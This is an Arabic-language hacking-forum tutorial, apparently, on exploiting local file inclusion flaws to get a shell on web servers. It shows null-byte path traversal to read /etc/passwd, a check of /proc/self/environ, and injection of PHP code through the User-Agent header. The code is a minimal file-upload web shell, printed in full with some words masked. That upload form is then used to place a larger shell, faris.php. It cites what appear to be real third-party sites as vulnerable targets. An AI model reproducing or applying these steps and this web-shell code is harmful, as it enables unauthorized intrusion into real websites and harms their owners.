السلام عليكم ورحمة الله وبركاته
موضوعنا اليوم عن
الحصول على شل عن
طريق ثغرات local file include
طبعا الثغره فعاله ومنتشره فى كتير جدا من السيرفرات
ولو دخلت على اى موقع
ثغرات تلقاها اكتر من السكيول
لكن مفيش اهتمام بيها مش عارف ليه مع العلم ان استغلالاتها كتير
وانا كنت فاكر ان الطريقه معروفه لانها قديمه حبتين لكن اكتشفت ان كتير مش عارفينها
عموما نبدأ الشرح وهو سهل جدا لكن محتاج تركيز مش أكتر
الأدوات الأول
1 - متصفح فير فوكس (أكيد عند كله)
2 - إضافة mozilla sniffer
https://addons.mozilla.org/en-US/firefox/addon/176005/
3 - فتح دماغك معايا شويه بس
نبدأ الشرح
ده مثال لموقع مصاب بثغرة lfi
http://www.iowaarboretum.org/index.p.../etc/passwd%00
وده موقع للتطبيق فى حالتنا
http://falalalalights.net/site/index...elf/environ%00
على سبيل المثال لا الحصر
نشوف هنعمل ايه
أول حاجه اعرف ان لما بتطلب ملف بى اتش بى من السيرفر فيه عمليه جديده بتبدأ وبتتحفظ فى ملف /proc خاص بيها (مش مهم)
المهم دلوقت ان السيرفرات بيبقى فيها مجلد بالعنوان ده /proc/self/environ بيحتوى على معلومات عن العمليات الأخيره اللى حصلت
احنا بقى هنعمل ايه
هنحقن المجلد ده بشل بسيط الاوا
وعن
طريق الشل البسيط نرفع شل كبير
نشوف ازاى
ده المسار اللى بنجيب منه اليوزرات
http://www.site.com/index.php?option.../etc/passwd%00
وخلى بالك من علامة %00 اللى فى الاخر دى
مهمه جدا
طيب بعد منطلب الملف ده النتيجه هتبقى كده
[
تمام لحد كده الموقع مصاب وزى الفل
نشوف بقى /proc/self/environ متفعله او لا لانها مش موجوده فى كل السيرفرات
ازاى بقى يا حلو
هنغير /etc/passwd ب /proc/self/environ
http://www.site.com/index.php?option...elf/environ%00
لو كان الناتج زى كده
يبقى متفعله وزى الفل
طبعا هتلاقى كلام كتير لكن ده فى اول الصفحه وزى منت شايف محتوى على user_agent وده اهم حاجه دلوقت
طيب لو مظهرش كده وظهر فور بيدن او صفحه بيضه
يبقة كده مش متفعل وشوف سايت تانى بقى او استنى للدرس الجى هتشوف فيه مفاجأه
اوك
لقيناه متفعل هنعمل ايه
نحقن الشل تبعنا فيه وهتشوف ازاى لكن الاول حاول تنقى شل خفيف وانا هستخدم ده
مجرد فورم ابلو مش اكتر نرفع بيه الشل الكبير بتاعنا
كود:
<?php
echo '<b><br><br>'.php_u****().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" ****="uploader" id="uploader">';
echo '<input type="file" ****="file" size="50"><input ****="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_****'], $_FILES['file']['****'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>
تم ارفاق الشل
نشوف بقى هنحقنه ازاى
بعد متسطب الاداه mozilla sniffer
تفتحها من الفاير فوكس عن
طريق tools > mozilla sniffer
وبعدين تضغط start sniff
طبعا ناس هتقول اداة التامبر بتقضى نفس الغرض
اقولك لو جربت تغبر الاجينت بالتامبر هيديك ايرور ومش هتشتغل لكن السنيفر شغاله بدون مشاكل lol
طيب
ضغطنا start sniff
افتح بقى السايت تانى طبعا السايت ده
http://www.site.com/index.php?option...elf/environ%00
واختار tamper
تلقى جاك حاجه زى دى
لاحظ المحدد بازرق اللى هو user agent
حط مكانه كود الشل الموجود فوق
واتكى ok
تمام كده تلاقى الصفحه ظهر فيها فورم رفع
زى ده
لول
ارفع الشل تبعك بس وانت مشغل السنيفر برضه متقفلهاش
بعد متضغط ابلود
اضغط tamper تانى وحط نفس الكود اللى حطيته قبل كده اللى هو تبع الرفع
واضغط اوك
تمام كده انا رفعت الشل باسم faris.php
تروح بقى على السايت مباشر وتضيف يعدها اسم الشل
توضيح
انا كنت شغال هنا
http://www.site.com/index.php?option...elf/environ%00
يبقى الشل هنا
http://www.site.com/faris.php
والنتيجه
مبروووك
lol
انتهى الشرح
اتمنى يكون واضح
وأى استفسارات انا جاهز
HaCKeR-MaN k: